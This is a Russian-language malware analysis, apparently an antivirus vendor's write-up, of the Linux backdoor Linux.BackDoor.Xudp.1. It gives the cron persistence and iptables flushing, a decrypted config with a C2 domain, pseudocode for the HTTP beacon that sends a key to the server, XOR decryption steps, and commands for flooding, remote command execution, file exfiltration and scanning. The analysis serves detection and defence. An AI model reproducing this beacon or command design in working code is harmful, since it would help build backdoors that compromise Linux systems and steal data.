SHA1
- 3a5f73d9beb74ee017965fa8922b2228fb684816
Троянец-бэкдор для ОС Linux, устанавливается в систему другими троянцами-загрузчиками. Основной модуль устанавливается в папку /lib/, задача автоматического запуска настраивается в cron. Помимо этого в процессе установки вредоносной программы очищается содержимое iptables.
После запуска Linux.BackDoor.Xudp.1 расшифровывает хранящийся в его теле блок конфигурационных данных, который имеет вид:
dr0id1.xyz ; Управляющий сервер
transfer.php ; Страница, на которую отправляются запросы
XorUDP ; Имя бэкдора, используется в качеcтве User-Agent при
формировании запросов
300 ; Http sleep time
5 ; Keepalive sleep time
/bin/socket ;NewProcName
1 ;usemutex
700 ;low range udp port
800 ;high rande udp port
Зашифрованные строки хранятся и передаются следующим образом:
<lenght>:<encrypted value>
10:09Ц<о*.Йs
Если параметр NewProcName имеет ненулевое значение, процесс троянца скрывается под именем, указанным в конфигурации.
Если параметр usemutex имеет ненулевое значение, происходит блокировка файла "/var/.mutexlock". Если заблокировать файл не получается, троянец завершает свою работу.
Затем троянец генерирует ключ длиной 128 байт, выбирает значение UDP-порта и запускает три потока: HTTP_Thread, UDP_Listen и UDP_KeepAlive.
HTTP_Thread
При запуске потока троянец отправляет на сервер сгенерированный ключ, адрес порта и сведения о версии бэкдора. С периодичностью, указанной в конфигурации троянца, он запрашивает с сервера страницу вида:
template1 = "k=%s&p=%s&v=%s&s=1"
param1 = encodenum(ourKey)
param2 = encodenum(udpPort)
param3 = encodenum(version)
params = template1 % (param1,param2, param3)
request = "POST /%s HTTP/1.0\r\nHost: %s\r\nUser-Agent: %s\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %d\r\n\r\n%s"
actualRequest = request % (page, host, name, len(params), params)
В ответ приходит одно из 4 сообщений:
первые 2 байта | Значение |
---|---|
00 | Установить client_key + client_port + client_ip |
01 | Выполнить команду |
02 | Обнулить client_key, client_port, client_ip |
03 | Завершить выполнение |
Все сообщения сначала расшифровываются с использованием сгенерированного бэкдором ключа, после этого полученный буфер расшифровывается с помощью client_key:
XOR(msg, len, ourKey);
XOR(msg, len, &client_key);
UDP_Listen
Если дейтограмма поступила с адреса, отличного от client_ip, то она игнорируется. Если не установлено значение client_key, то ничего не происходит. Поступающее UDP-сообщение расшифровывается и имеет следующий вид:
<handler>:<transaction_id> <command>
Поле | Значение |
---|---|
msg_id | Номер сообщения. Все присланные msg_id запоминаются, и команда выполняется только если msg_id раньше не встречался. |
Handler | Всегда 8 байт и является идентификатором команды |
command | произвольная строка |
Бэкдор может выполнять следующие команды:
- запустить флуд (отправку повторяющихся запросов удаленному узлу);
- остановить флуд;
- выполнить поступившую команду с помощью system();
- запустить переданную строку через popen и вернуть вывод команды;
- открыть слушающий UDP сокет, который логирует все обращения на данный порт в указанный файл в формате: <ipaddr> <size> <List Port>
- передать на сервер указанный файл частями определенного размера с указанным интервалом между пересылками;
- просканировать заданный диапазон IP-адресов;
- выслать список msg_id, меньших, чем msg_id текущего сообщения, которые не были обработаны;
- пометить переданные msg_id как обработанные;
- завершить выполнение.
UDP_KeepAlive:
Отправляет на управляющий сервер с заданным интервалом времени определенную дейтограмму, чтобы сообщить, что он все еще работает.